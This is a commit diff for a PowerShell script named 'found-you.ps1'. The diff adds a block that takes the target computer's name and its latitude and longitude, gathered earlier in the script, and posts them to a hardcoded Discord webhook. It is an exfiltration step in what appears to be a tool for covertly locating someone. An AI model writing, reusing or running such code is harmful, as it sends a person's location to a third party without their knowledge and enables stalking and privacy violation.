Update found-you.ps1
This commit is contained in:
parent
51c3767407
commit
969ca06303
1 changed files with 11 additions and 0 deletions
|
@ -129,6 +129,17 @@ $Lat = $GL[0].Substring(11) -replace ".$"
|
||||||
|
|
||||||
$Lon = $GL[1].Substring(10) -replace ".$"
|
$Lon = $GL[1].Substring(10) -replace ".$"
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Send to Discord // Replace with your Discord webhook URL
|
||||||
|
$webhookUrl = "https://discord.com/api/webhooks/1094395610901250128/WLuTUwGIZ_OgPU8iIuKNSamHu0JfY_YoqJllOj--yUcLhRofWQm6SGjpwzFFBUYnEop7"
|
||||||
|
$body = @{
|
||||||
|
content = "Computer: $computerName`nCoordinates: Latitude = $Lat Longitude = $Lon"
|
||||||
|
} | ConvertTo-Json
|
||||||
|
Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $body -ContentType "application/json"
|
||||||
|
|
||||||
|
#-----------------------------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
Pause-Script
|
Pause-Script
|
||||||
|
|
||||||
# Opens their browser with a map of their current location
|
# Opens their browser with a map of their current location
|
||||||
|
|
Loading…
Reference in a new issue